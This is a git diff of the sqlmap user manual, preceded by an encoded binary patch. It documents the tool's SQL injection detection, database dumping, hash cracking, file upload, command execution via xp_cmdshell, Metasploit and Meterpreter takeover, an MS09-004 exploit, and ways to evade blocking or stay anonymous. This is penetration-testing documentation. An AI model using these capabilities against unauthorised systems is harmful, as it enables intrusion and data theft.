zN4P1N)&{$VEi~M^Cbkdae~kSIB$W3fay`j3SRzaklh1_pjs{uoG0Zkwd1Cwt-Dis+ zNI{lzX4EV1Ti88p}fcTQf9p1$N(_ImV8`H~; z047X9)@ZojbWV4-u^;|Vw(M!olP4E$qhmr6!IlnnfMywv#0

    hr-GF6T*c}GIJqP zS?mGi3$w-%WWXd5usnu)gfMZKVSvGB;sz!FQwBp=;HGFZB^$gm=5Aw6S-@g!=AgT_ z>1nKRh)?Fc2toGAa~5^*#=zgh(m^1~G&n|?+8v4l50w`ILJ-*e1cuJGO`IT?y)}TX zg^!&E*x~|W$r)F1)?Da#juno06!)@Ji&jc>`ak|w~>h!+}9^B zJIoJ0Sz*4hl|$i@GFNdjAj(u-ELo;;;zTtA3=pWt<_B)6W10-6n>;_T(?ULr;fxsu z6o<-89E86!-6VoAKS}r?FEbXP4>LpqG?*3kc?A9=GjvWnk!bK7NE43YP%Tu=kb0mo z^9Xsx&7bxqi*zAb8=xu3&{^zI;)Y6RW*kY9Hddq)*DTu8VJ?WPMeQ`083?JAItM4S zxer=~0n8Cd3n?Ld4)U5sC@KDz)A48{Bw~^fb;!}*Q5ZtNK4kX8ZkIP(6bKKlR5A1^ zHo55RncNWwQQ5LZy_o8fVL%a}va=Lz3CU|4G=|+FFTzLV2I6KFNe1A_##mUHiOy00 zql_to#&lc)G-NrCbmHl9$G8LOk=0bhG%}SGF^2F2%M%1MK~}CYxx%t^#BhrDa-0=Y zc$>rp0FLthLV01a>idr=f-#)pvR`L`KqcgH$7;81D|0D&c@zq!7EV*ijRCA?HPDDL zM8yp1L}uoNBV|z*t)Q`BdCV=uXh;=<`!YuDK^znd21FDja|Ppo4D;Aiv?QCD0E%R# zgn}StQyDZLMY0M0TkMCsg0U4Sle|S^E{K~v9K(bIa%>*q@@iTCBlz7GK&k70u+bQt zO};RBSHu|~X5iyZQH+$tYFcBm_{J2JbwZE7Dp<`D;$VU-;r!a9vC!7>0G4b&!|Tb; z{NcGRG+u5K0()igfcK?jMTuUdVnP?|jO3wnw2)ce(qT)ATZ|kdgPoq`EncsO|jfj zj{?P&Z;rWuysXCv+ms`0F_z--IKh95{fM(;8(|PGQ+W~sJ7O{on8YJ039(6yyp9eN z|KW2Au#FJ#g>3u+g<Xp znb|4{!Vs4yEAq-4CdS<~9iEQ08o@3yhW;|3=*-nA-hP_=H1_()^y*bu6&=kgAc*11}mqKr4_?;9r zwhFKx$}u;{i+w!S7=4W+vwh*ygrP&oO#0!5IyU2BA2F#0pNouhU|iXm83b8I!;G!) zS2DK3vB?x1#OyJ)B211c)KDauU!D7Mi=U~|cG91w}TtSCmqX^YYj0})|s9R3ET zkHB3dVx(!6ORVlMPJWyS*(&YwXBy4M6Z#1MWPlpY`%$r-6^SJP+-Asz_ zh3R6`5%e-(ol0{Mb{_NAW7yfDPAGhAs{oDp84#HxV9l0x?ow!uEEW)k13b`dywP@; zow7lWqk>15p+AVylQ(t*?a(`$R8x%a(4b_~8iit2$>|W1AoBuXhpc1MohIbFE$plW zI5O^XnxUp-OG}2*%a|n8Sa!4wH1QOQvsmECk|u@j51*r^G=!NgiyjogJS(W4odl!! zBwTNHj%J0-g-2isNNz6r7*`*GB@m=7@7Dl}0EbDO25ew1TMJi0LKek>0-1t{I4TyX zi@f3qX*=sMWm)JAv;*0%hNv^>@iOFw0)uSaky+kQ&^~eFuf1Z>U_!_}#>G2~3-Ec# z4rfd^{3mAylprs31ZBvYDNR*5ZUo$iC}QOSb}(oru0))cK`CTr&N~`9wjlAqglx^w zu(O$q;}Nno69xXnyd$8ATb>7Z?prR(a@fJR!ER7`PHe@XNXwXxIl?CBndWaE1zCBQc}fus+&A3VvjWSIJi~VIUCRz zf=Z~KtVmE^Cg!n|vSEUxux-OSQi06O9|W+5Re~vlolx!xTqg1`(dA6iJVJTwtiRVk z0NSiPX@Cy1C5D(JS$`*aB!fbriDyO};|`%0)|M@#8wgm_aXe6>A^w8Rk^tfp#tH~~IJ{(^9B2ST z<;DOKk=F_$>-ZP|V_^-1!7M9l0gS!uM8JU#c3T)|$SpSpsHZ8g4ci!YE(~Eg9rkH? zc0!<8Hk2jo;fl3(0IR?VJ1Yoyley6ea<-eH#9q)?)G}zyqR0S|%ThX%E4LcPL(r!U zUjhY19vO21wE=7`9(Pi8bxX*qp^F0>*IwKXP0RtPcRL(#Rl~ zPPXBoCg4(HIUPWB=cr=NQtXaA{P2Is&JLtwo_Odd?2H6x2yK-shAz#x3Y=HI_Y9dC z6iTWCvrZ8D$@UP0-^f4`@-o{Ik>2q384a}NEM9rwoI^S z*(!-5Hj){KpfPtYXzctGO+gtE0Zlw1Ws^(f2xj0DX!J&$WJFR(lyib0GxP~g!!r}o z7z00K24e^dSDvi6E+!^mO$7zvrE;(_g5bGDizy=`l1Rs(Itrj?D*}-pY(tA8EI@XL z!0>|tCim_U5*yM>1|OjVu^=bV*wG}=1X$rzP!Q0>lne@Jl9v-!4%=999|+SEz*C+s zY`Lj|(z%~TR%4kmiG;KTtz{r~)EKt@vy2nBWN61o@eT|TP z?BFnHkI0LNKiMutLOjePw;JXvr-^Id(S92T`Q3~-#KqJ`(99US*k(cZhR7;Ej`*+( zCFukhZy?T{NNXJNHQ=G#5ppcqY2ZH{ALC=k?`K0g77v3xl!-~uaIv+$5~_n77K{dC z(a{Ab!q+ku{2C)%ye0z{^H6U;6jbOH_cWy%!; zGi4otxMv-K`s{2V&Q!oiW$Z#QQw%-RodmFEoJ)sR4u$)$#$c0@Sxq50tTAAqZ1~{h zAB#}}vccj^Km#l(a{&+or?FG+$P4jf-gOa5vj)Frkk`rQe z%d92@UCs;*S=Ll(-SE7ydt@0vw`71O_;2li1j9PlCqX{!(jj0e?C>OLETSJY7UwLY z8O_;mUjGLoY+ zh!k0EMmm@taypErJj9s3!X_a8TkMDQk*yKz+K4b>1+pknAEr9nqR9cr8UrbBn@3{& zk(nuTh#p{(6`=WK{{=`~!eK4RZYH2$?5-AiuB&T9wNMlv81N0f%Q%%`=MV&p)}CHsroy%M|XR7%*ZAAspH< z0m;~$fIY-|0?UGpE0k|}wIH66=>z2Cm&=RN4Q+B}x{fxsP6a-Jlk%38X*CeosO;`T zI-r@-q{ZP`IVcKKLb!~aLI^Rnax0=tn5#C(#+6WctKk}%UPY}_zPa0nQfkyW1V z9s-eH?t&{SWJHFp%V2u|&|oGx5vCX$V?&97KE;O9ALT$7f^t~6IcUrSi-*!6Wv!kV z!-Uv(P7_a@(yWgSU5E#=l8>FU3r;P@ene}^n+mjgK93N4!t*)~Yw1D=hkfNR9*6)g z)u4?rDG7sDMx>zr@Vy^e8)H9S{Sc2QJ6MDDz-BdkT(T1tar2lq68q^E0eNBuAZO$y zi%?)45kdd0F@ZmeZ8WsA%9|8$A-0_07vgy_(OJcaGmp*wyg~^85XNOY4sgjR1ky1l z2ORHMcQO~?YhV@gaBnO`PgK@QL1g#ulhd9}E=2kiAtC%* zmJ5I~+);UQ;Y}ZA6TrE}HYeQZD`Rz-`?$wJt{B2h-nOwu%ycm$6yANNa$_rD^8@pe zjWHZ!vVRIYIlvmZG3<^C7@_E|d?*?;>)j`7c>*w#QA|X!aO08?RmOg72l6U`zsnzz z5KDCT5t#`ylX?Q7%$67!&BQm%LnglA$Ff3@EF%>A0UIYAOJpm899ie=5I)=%q|A7Y#-=k{+WG=v~ z#gt4k@noe09xNGhC)6m00T_4CgUDjfK*I`^CKo(+vO5jxyy%HThk&<=Y0z|$tt=P9 zxS^N{AM#eoGdPUv0$FCvVAepy&aiZ(f6E<#`;t};@!wiv@Xj%-2GR2jT7iJGu~46c z*#Fo}hk?zkDR`^w^G%FDwl$mwmRpGHl4Pj|OOdBT00c{i1ux45gdVd^ER1U(WKR+{ zPi*FLW8fE*XD~wa*{p`b#mnPw`1k-P>rxc`kFh_(4k`fAp{omNZpG5kiBfsl(OCnQ z4kwS~d4$^u9LNgsAIcx1`s7Mr>#)qUCggPR56Il27nJ1TgluH$8eqUEo0;%dF^>qq zcR4Z#h$M?s!94`baSR$R29q0YSU)uXE%pP7W=jXMhba~mgv+==e zk7Fr<|JZU^hz4lvE)$BykbME5u`_6pWDNTO%^nmfmMmyNw;X*1B0?LaRs*J&Egdrb zy`aY;rQARm|D1*+uq+*fii3tjX2AXBSq&PC zBg5%I7Ay@KyZZt({@#QK4lc*IW7wgIE`&$$jh!8BpNn0vHw^y07S=a;-f}n55(KOdF#}1WwsyqVn6-C-OQ|^Lr2j^ z$URq9-pt2`^dCxJ(F^gliK|;3gpc7oc(W$Wnt1|^nl^?t-P99k;%??^3Y5jys98Oi ko+SMLrRm|SS1<3#QQ0F#iT8dXX(2xHR;twW$!2-~54EtodH?_b diff --git a/doc/README.sgml b/doc/README.sgml index f4446a5af..65929b3f2 100644 --- a/doc/README.sgml +++ b/doc/README.sgml @@ -15,7 +15,13 @@ This document is the user's manual to use -Microsoft Access: -Microsoft SQL Server or Sybase: -MySQL: -Oracle: -PostgreSQL: -SQLite: +Firebird: . +Microsoft Access: . +Microsoft SQL Server: . +MySQL: . +Oracle: . +PostgreSQL: . +SQLite: . +Sybase: . If you plan to attack a web application behind NTLM authentication or use -the sqlmap update functionality (--update switch) you need to +the sqlmap update functionality (--update switch) you need to install respectively and libraries. @@ -74,6 +81,7 @@ You can also choose to install library to eventually speed up the sqlmap algorithmic operations. + Scenario Detect and exploit a SQL injection @@ -175,7 +183,8 @@ database via a SQL injection vulnerability. Techniques

    -sqlmap is able to detect and exploit five SQL injection families: +sqlmap is able to detect and exploit five different SQL injection +types: Boolean-based blind SQL injection, also known as inferential @@ -240,7 +249,7 @@ url="http://www.youtube.com/user/inquisb#g/u" name="YouTube">. Features

    -TODO: Features implemented in sqlmap include: +Features implemented in sqlmap include: Generic features @@ -256,76 +265,83 @@ management systems. blind, time-based blind, error-based, UNION query and stacked queries. +Support to directly connect to the database without passing +via a SQL injection, by providing DBMS credentials, IP address, port and +database name. + It is possible to provide a single target URL, get the list of targets from -requests log file or - conversations/ folder, get the whole HTTP -request from a text file or get the list of targets by providing sqlmap -with a Google dork which queries requests log files, get the whole HTTP request +from a text file or get the list of targets by providing sqlmap with a +Google dork which queries search engine and parses its results page. You can also define a regular-expression based scope that is used to identify which of the parsed addresses to test. Tests provided GET parameters, POST parameters, HTTP Cookie header values, HTTP User-Agent header value -and HTTP Referer header value to find the dynamic ones, which means -those that vary the HTTP response page content. -On the dynamic ones sqlmap automatically tests and detects the ones -affected by SQL injection. Each dynamic parameter is tested for -numeric, single quoted string, double quoted -string and all of these three data-types with zero to two parenthesis -to correctly detect which is the SELECT statement syntax to -perform further injections with. It is also possible to specify the only -parameter(s) that you want to perform tests and use for injection on. +and HTTP Referer header value to identify and exploit SQL +injection vulnerabilities. It is also possible to specify a comma-separated +list of specific parameter(s) to test. -Option to specify the maximum number of concurrent HTTP -requests to speed up the inferential blind SQL injection algorithms -(multi-threading). It is also possible to specify the number of seconds to -wait between each HTTP request. +Option to specify the maximum number of concurrent HTTP(S) +requests (multi-threading) to speed up the blind SQL injection +techniques. It is also possible to specify the number of seconds to +hold between each HTTP(S) request. HTTP Cookie header string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection -on such header. You can also specify to always URL-encode the Cookie -header. +on such header values. You can also specify to always URL-encode the +Cookie. -Automatically handle HTTP Set-Cookie header from +Automatically handles HTTP Set-Cookie header from the application, re-establishing of the session if it expires. Test and -exploit on these values is supported too. You can also force to ignore any -Set-Cookie header. +exploit on these values is supported too. Vice versa, you can also force +to ignore any Set-Cookie header. -HTTP Basic, Digest, NTLM and Certificate authentications -support. +HTTP protocol Basic, Digest, NTLM and Certificate +authentications support. -Anonymous HTTP proxy support to pass by the requests to the -target application that works also with HTTPS requests. +HTTP(S) proxy support to pass by the requests to the target +application that works also with HTTPS requests and with authenticated +proxy servers. Options to fake the HTTP Referer header value and the HTTP User-Agent header value specified by user or -randomly selected from a text file. +randomly selected from a textual file. Support to increase the verbosity level of output messages: -there exist six levels. The default level is 1 in which -information, warnings, errors and tracebacks (if any occur) will be shown. +there exist seven levels of verbosity. -Granularity in the user's options. +Support to parse HTML forms from the target URL and forge +HTTP(S) requests against those pages to test the form parameters against +vulnerabilities. + +Granularity and flexibility in terms of both user's +switches and features. Estimated time of arrival support for each query, updated -in real time while fetching the information to give to the user an -overview on how long it will take to retrieve the output. +in real time, to provide the user with an overview on how long it will +take to retrieve the queries' output. -Automatic support to save the session (queries and their output, -even if partially retrieved) in real time while fetching the data on a -text file and resume the injection from this file in a second -time. +Automatically saves the session (queries and their output, even if +partially retrieved) on a textual file in real time while fetching the +data and resumes the injection by parsing the session file. Support to read options from a configuration INI file rather than -specify each time all of the options on the command line. Support also to -save command line options on a configuration INI file. +specify each time all of the switches on the command line. Support also to +generate a configuration file based on the command line switches provided. -Option to update sqlmap as a whole to the latest development version -from the Subversion repository. +Support to replicate the back-end database tables structure and +entries on a local SQLite 3 database. + +Option to update sqlmap to the latest development version from the +subversion repository. + +Support to parse HTTP(S) responses and display any DBMS error +message to the user. Integration with other IT security open source projects, and . Extensive back-end database software version and underlying operating system fingerprint based upon -, +, , and such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it. -Basic web server software and web application technology fingerprint. +Basic web server software and web application technology +fingerprint. Support to retrieve the DBMS banner, session user and current database information. The tool can also check if the -session user is a database administrator (DBA). +session user is a database administrator (DBA). Support to enumerate database users, users' password -hashes, users' privileges, databases, -tables and columns. +hashes, users' privileges, users' roles, +databases, tables and columns. -Support to dump database tables as a whole or a range of -entries as per user's choice. The user can also choose to dump only -specific column(s). +Automatic recognition of password hashes format and support to +crack them with a dictionary-based attack. -Support to automatically dump all databases' schemas and +Support to brute-force tables and columns name. This is +useful when the session user has no read access over the system table +containing schema information or when the database management system does +not store this information anywhere (e.g. MySQL < 5.0). + +Support to dump database tables entirely, a range of +entries or specific columns as per user's choice. The user can also choose +to dump only a range of characters from each column's entry. + +Support to automatically dump all databases' schemas and entries. It is possibly to exclude from the dump the system databases. -Support to enumerate and dump all databases' tables containing user -provided column(s). Useful to identify for instance tables containing -custom application credentials. +Support to search for specific database names, specific tables +across all databases or specific columns across all databases' +tables. This is useful, for instance, to identify tables containing +custom application credentials where relevant columns' names contain +string like name and pass. Support to run custom SQL statement(s) as in an interactive SQL client connecting to the back-end database. sqlmap automatically -dissects the provided statement, determines which technique to use to +dissects the provided statement, determines which technique fits best to inject it and how to pack the SQL payload accordingly. @@ -378,18 +405,19 @@ inject it and how to pack the SQL payload accordingly.

    Some of these techniques are detailed in the white paper - and in the slide deck . Support to inject custom user-defined functions: the user -can compile shared object then use sqlmap to create within the back-end -DBMS user-defined functions out of the compiled shared object file. These -UDFs can then be executed, and optionally removed, via sqlmap too. +can compile a shared library then use sqlmap to create within the back-end +DBMS user-defined functions out of the compiled shared library file. These +UDFs can then be executed, and optionally removed, via sqlmap. This is +supported when the database software is MySQL or PostgreSQL. -Support to read and upload any file from the database +Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. @@ -401,13 +429,14 @@ when the database software is MySQL, PostgreSQL or Microsoft SQL Server. execution. On Microsoft SQL Server via xp_cmdshell() stored procedure. Also, the stored procedure is re-enabled if disabled or created from -scratch if removed. +scratch if removed by the DBA. Support to establish an out-of-band stateful TCP connection -between the user machine and the database server underlying operating -system. This channel can be an interactive command prompt, a Meterpreter -session or a graphical user interface (VNC) session as per user's choice. +between the attacker machine and the database server underlying +operating system. This channel can be an interactive command prompt, a +Meterpreter session or a graphical user interface (VNC) session as per +user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are: @@ -423,14 +452,19 @@ Server. reflection attack () with a UNC path request from the database server to -the user's machine where the Metasploit smb_relay server exploit -runs. +the attacker's machine where the Metasploit smb_relay server +exploit listens. Supported when running sqlmap with high privileges +(uid=0) on Linux/Unix and the target DBMS runs as Administrator +on Windows. Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow () with automatic DEP bypass. +name="MS09-004">). sqlmap has its own exploit to trigger the +vulnerability with automatic DEP memory protection bypass, but it relies +on Metasploit to generate the shellcode to get executed upon successful +exploitation. Support for database process' user privilege escalation via @@ -439,18 +473,15 @@ the technique () or via by using Meterpreter's -incognito extension. +name="MS10-015">). Support to access (read/add/delete) Windows registry hives. -History +History -2011 +2011

    @@ -462,7 +493,7 @@ server, support for time-based blind SQL injection and error-based SQL injection, support for four new database management systems and much more. -2010 +2010

    @@ -472,7 +503,8 @@ lot during the whole year and prepare to release sqlmap 0.9 within the first quarter of 2011. June 3, Bernardo -a talk titled Got database access? Own the network! at AthCon 2010 in Athens (Greece). +a talk titled Got database access? Own the network! at AthCon +2010 in Athens (Greece). March 14, release stable version of sqlmap 0.8 featuring many features. Amongst these, support to @@ -481,14 +513,14 @@ column(s), stabilization and enhancements to the takeover functionalities, updated integration with Metasploit 3.3.3 and a lot of minor features and bug fixes. March, sqlmap demo videos have been . +name="published" url="http://www.youtube.com/inquisb#g/u">. January, Bernardo is to present at conference in Greece on June 2010. -2009 +2009

    @@ -510,7 +542,7 @@ research on stealth database server takeover at CONfidence 2009 in Warsaw, Poland. September 26, sqlmap version 0.8 release candidate -1 goes public on the goes public on the , with all the attack vectors unveiled at SOURCE Barcelona 2009 Conference. These include an enhanced version of the Microsoft SQL Server buffer overflow exploit to @@ -522,11 +554,14 @@ inject custom user-defined functions. September 21, Bernardo and their research () at SOURCE Conference 2009 in Barcelona, Spain. +url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009/schedule"> +their research () +at SOURCE Conference 2009 in Barcelona, Spain. August, Bernardo is accepted as a speaker at two others IT -security conferences, and and . This new research is titled Expanding the control over the operating system from the database. @@ -567,7 +602,7 @@ the database. April 16, Bernardo his research (, ) at Black Hat Europe 2009 in Amsterdam, The Netherlands. The feedback from the audience is good and there has been some SQL injection exploitation internals at a private event in London, UK. -2008 +2008

    @@ -616,7 +651,7 @@ public. This includes minor bug fixes and the first contact between the tool and : an auxiliary module to launch sqlmap from within Metasploit Framework. The goes public again. +name="subversion development repository"> goes public again. September 1, nearly one year after the previous release, sqlmap 0.6 comes to life featuring a complete code @@ -627,11 +662,11 @@ new installation packages for Debian, Red Hat, Windows and much more. August, two public are created on SourceForge. -January, sqlmap Subversion development repository is moved +January, sqlmap subversion development repository is moved away from SourceForge and goes private for a while. -2007 +2007

    @@ -664,7 +699,7 @@ and exploit UNION query SQL injections and injection points in POST parameters. -2006 +2006

    @@ -682,7 +717,7 @@ version 0.1. July 25, registers the sqlmap project on SourceForge and develops it on the . The skeleton is implemented and +name="SourceForge subversion repository">. The skeleton is implemented and limited support for MySQL added. @@ -704,7 +739,7 @@ name="Source zip compressed">.

    You can also checkout the latest development version from the - + repository: @@ -712,7 +747,7 @@ $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

    -You can update it to the latest development version anytime by running: +You can update it at any time to the latest development version by running: $ python sqlmap.py --update @@ -729,14 +764,6 @@ This is strongly recommended before reporting any bug to the . -License and copyright - -

    -sqlmap is released under the terms of the -. -sqlmap is copyrighted by its . - - Usage

    @@ -820,9 +847,8 @@ Options: --text-only Compare pages based only on their textual content Techniques: - These options can be used to test for specific SQL injection technique - or to use one of them to exploit the affected parameter(s) rather than - using the default blind SQL injection technique. + These options can be used to tweak how specific SQL injection + techniques are tested. --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection @@ -938,27 +964,27 @@ Switch: -v

    This switch can be used to set the verbosity level of output messages. There exist seven levels of verbosity. -The default level is 1 in which information, warnings, errors, critical messages and Python tracebacks (if any occur) will be displayed. +The default level is 1 in which information, warning, error and critical messages and Python tracebacks (if any occur) will be displayed. -0: Show only critical messages -1: Show also warning and information messages -2: Show also debug messages -3: Show also payloads injected -4: Show also HTTP requests -5: Show also HTTP responses' headers -6: Show also HTTP responses' page content +0: Show only Python tracebacks, error and critical messages. +1: Show also information and warning messages. +2: Show also debug messages. +3: Show also payloads injected. +4: Show also HTTP requests. +5: Show also HTTP responses' headers. +6: Show also HTTP responses' page content.

    -A reasonable level of verbosity to further understand what sqlmap is doing under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to make sure you know which SQL payloads the tools sends, level 3 is your best choice. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. This level is recommended to be used when you feed the developers with a bug report too. +A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level 3 is your best choice. +In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. This level is recommended to be used when you feed the developers with a bug report too. Target

    -At least one of these options has to be specified to set the source to get -target URLs from. +At least one of these options has to be provided. Target URL @@ -966,7 +992,8 @@ target URLs from. Switch: -u or --url

    -Run sqlmap against a single target URL. +Run sqlmap against a single target URL. This switch requires an argument +which is the target URL in the form http(s)://targeturl/[...]. Parse targets from Burp or WebScarab proxy logs @@ -975,10 +1002,11 @@ Switch: -l

    Rather than providing a single target URL, it is possible to test and -inject on HTTP requests proxied through or . +name="WebScarab proxy"> This switch requires an argument which is the +proxy's HTTP requests log file. Load HTTP request from a file @@ -987,11 +1015,11 @@ Switch: -r

    One of the possibilities of sqlmap is loading of complete HTTP request -stored in textual file. That way you can skip usage of bunch of other +from a textual file. That way you can skip usage of bunch of other options (e.g. setting of cookies, POSTed data, etc).

    -Sample content of a HTTP request file: +Sample content of a HTTP request file provided as argument to this switch: POST /sqlmap/mysql/post_int.php HTTP/1.1 @@ -1053,8 +1081,8 @@ example is sqlmap.conf.

    Note that if you also provide other options from command line, those are -evaluated when running sqlmap and overwrite the same options, if set, in -the provided configuration file. +evaluated when running sqlmap and overwrite those provided in the +configuration file. Request @@ -1062,7 +1090,7 @@ the provided configuration file.

    These options can be used to specify how to connect to the target url. -HTTP method: GET or POST +HTTP data

    Option: --data @@ -1071,16 +1099,18 @@ Option: --data By default the HTTP method used to perform HTTP requests is GET, but you can implicitly change it to POST by providing the data to be sent in the POST requests. Such data, being those parameters, -are tested for SQL injection as well as the GET parameters. +are tested for SQL injection as well as any provided GET +parameters. HTTP Cookie header

    -Switches: --cookie, --cookie-urlencode and --drop-set-cookie +Switches: --cookie, --drop-set-cookie +and --cookie-urlencode

    -This feature can be useful in two scenarios: +This feature can be useful in two ways: The web application requires authentication based upon cookies and @@ -1090,18 +1120,13 @@ you have such data.

    Either reason brings you to need to send cookies with sqlmap requests, the -steps to go through in the second scenario are the following: +steps to go through are the following: -On Firefox web browser login on the web authentication form while -dumping URL requests with browser's extension or by passing through a HTTP proxy -like Burp. -In the horizontal box of the extension select your authentication -transaction then in the left box on the bottom click with the right button -on the Cookie value, then click on Copy to save its -value to the clipboard. -Go back to your shell and run sqlmap by pasting your clipboard to +Login to the application with your favourite browser. +Get the HTTP Cookie from the browser's preferences or from the HTTP +proxy screen and copy to the clipboard. +Go back to your shell and run sqlmap by pasting your clipboard as the argument of the --cookie switch. @@ -1112,35 +1137,35 @@ recognize these as separate sets of parameter=value too, as well as GET and POST parameters.

    -If the web application responds with Set-Cookie headers at any -time during the communication, sqlmap will automatically use its value in +If at any time during the communication, the web application responds with +Set-Cookie headers, sqlmap will automatically use its value in all further HTTP requests as the Cookie header. sqlmap will also -automatically test those values for SQL injection, except if you run it -with --drop-set-cookie option. In the latter case, sqlmap will +automatically test those values for SQL injection. This can be avoided by +providing the switch --drop-set-cookie - sqlmap will ignore any coming Set-Cookie header.

    Vice versa, if you provide a HTTP Cookie header with ---cookie switch and the target URL sends an HTTP Set-Cookie -header at any time, sqlmap will ask you which one to use for the following -HTTP requests. +--cookie switch and the target URL sends an HTTP +Set-Cookie header at any time, sqlmap will ask you which set of +cookies to use for the following HTTP requests.

    -sqlmap by default does not URL encode generated cookie injections, +sqlmap by default does not URL-encode generated cookie payloads, but you can force it by using the --cookie-urlencode -switch. Cookie content encoding is not declared by standard in any way, so -it is solely the matter of web application's behaviour. +switch. Cookie content encoding is not declared by HTTP protocol standard +in any way, so it is solely the matter of web application's behaviour.

    Note that also the HTTP Cookie header is tested against SQL -injection if the --level is set to 2 or above. See below -for details. +injection if the --level is set to 2 or above. +Read below for details. HTTP User-Agent header

    -Switches: --user-agent and --random-agent +Switches: --user-agent and --random-agent

    By default sqlmap performs HTTP requests with the following User-Agent @@ -1152,29 +1177,29 @@ sqlmap/0.9 (http://sqlmap.sourceforge.net)

    However, it is possible to fake it with the --user-agent -option. +switch by providing custom User-Agent as the switch argument.

    -Moreover, by providing the --random-agent switch, sqlmap will -randomly select a User-Agent from the -./txt/user-agents.txt textual file and use it for all HTTP -requests within the session. +Moreover, by providing the --random-agent switch, sqlmap +will randomly select a User-Agent from the ./txt/user-agents.txt +textual file and use it for all HTTP requests within the session.

    Some sites perform a server-side check on the HTTP User-Agent header value and fail the HTTP response if a valid User-Agent is -not provided, its value is not expected or its value is blocked by a web +not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows: -[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent +[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to +force the HTTP User-Agent header with option --user-agent or --random-agent

    Note that also the HTTP User-Agent header is tested against SQL -injection if the --level is set to 3 or above. See below -for details. +injection if the --level is set to 3 or above. +Read below for details. HTTP Referer header @@ -1183,14 +1208,14 @@ for details. Switch: --referer

    -It is possible to fake the HTTP Referer header value with this -option. By default no HTTP Referer header is sent in -HTTP requests. +It is possible to fake the HTTP Referer header value. By default +no HTTP Referer header is sent in HTTP requests if not +explicitly set.

    Note that also the HTTP Referer header is tested against SQL -injection if the --level is set to 3 or above. See below -for details. +injection if the --level is set to 3 or above. +Read below for details. Extra HTTP headers @@ -1205,17 +1230,25 @@ newline and it is much easier to provide them from the configuration INI file. Have a look at the sample sqlmap.conf file for an example. -HTTP Basic, Digest and NTLM authentications +HTTP protocol authentication

    Switches: --auth-type and --auth-cred

    -These options can be used to specify which HTTP authentication type the -web server implements and the valid credentials to be used to perform all -HTTP requests to the target application. -The three valid types are Basic, Digest and NTLM, -while the credentials' syntax is username:password. +These options can be used to specify which HTTP protocol authentication +the web server implements and the valid credentials to be used to perform +all HTTP requests to the target application. + +The three supported HTTP protocol authentication mechanisms are: + + +Basic +Digest +NTLM + + +While the credentials' syntax is username:password.

    Example of valid syntax: @@ -1226,7 +1259,7 @@ $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id= -HTTP Certificate authentication +HTTP protocol certificate authentication

    Switch: --auth-cert @@ -1246,36 +1279,37 @@ chain file. Switches: --proxy, --proxy-cred and --ignore-proxy

    -It is possible to provide an anonymous HTTP(S) proxy address to pass by -the HTTP(S) requests to the target URL. The syntax of HTTP(S) proxy value -is http://url:port. +It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) +requests to the target URL. The syntax of HTTP(S) proxy value is +http://url:port.

    -You can also pass by your requests through an authenticated HTTP(S) proxy -server, by providing the credentials in the format username:password -to the --proxy-cred switch. +If the HTTP(S) proxy requires authentication, you can provide the +credentials in the format username:password to the +--proxy-cred switch.

    If, for any reason, you need to stay anonymous, instead of passing by a -single known HTTP(S) proxy server, you can configure a together with - on your machine -as explained on the Tor client guide and use the Privoxy daemon, -by default listening on 127.0.0.1:8118, as sqlmap proxy. + (or similar) on +your machine as explained on the Tor client guide and use the Privoxy +daemon, by default listening on 127.0.0.1:8118, as the sqlmap +proxy.

    The switch --ignore-proxy should be used when you want -to run sqlmap against a target part of a local area network skipping -default usage of a system-wide set HTTP(S) proxy server. +to run sqlmap against a target part of a local area network by ignoring +the system-wide set HTTP(S) proxy server setting. -Delay in seconds between each HTTP request +Delay between each HTTP request

    Switch: --delay

    -It is possible to specify a number of seconds to wait between each HTTP(S) +It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance 0.5 means half a second. By default, no delay is set. @@ -1290,7 +1324,7 @@ Switch: --timeout It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. -By default 30 seconds are set. +By default 30 seconds are set. Maximum number of retries when the HTTP connection timeouts @@ -1300,7 +1334,7 @@ Switch: --retries

    It is possible to specify the maximum number of retries when the HTTP(S) -connection timeouts. By default it retries up to three times. +connection timeouts. By default it retries up to three times. Filtering targets from provided proxy log using regular expression @@ -1320,19 +1354,39 @@ $ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)" -TODO +Avoid your session to be destroyed after too many unsuccessful requests

    Switches: --safe-url and --safe-freq

    -TODO +Sometimes web applications or inspection technology in between destroys +the session if a certain number of unsuccessful requests is performed. +This might occur during the detection phase of sqlmap or when it exploits +any of the blind SQL injection types. Reason why is that the SQL payload +does not necessarily returns output and might therefore raise a signal to +either the application session management or the inspection technology. + +

    +To bypass this limitation set by the target, you can provide two switches: + + +--safe-url: Url address to visit frequently during +testing. +--safe-freq: Test requests between two visits to a +given safe url. + + +

    +This way, sqlmap will visit every a predefined number of requests a +certain safe URL without performing any kind of injection against +it. Optimization

    -These options can be used to optimize the performance of sqlmap. +These switches can be used to optimize the performance of sqlmap. Bundle optimization @@ -1341,7 +1395,17 @@ These options can be used to optimize the performance of sqlmap. Switch: -o

    -TODO +This switch is an alias that implicitly sets the following: + + +--keep-alive +--null-connection +--threads 4 +--group-concat + + +

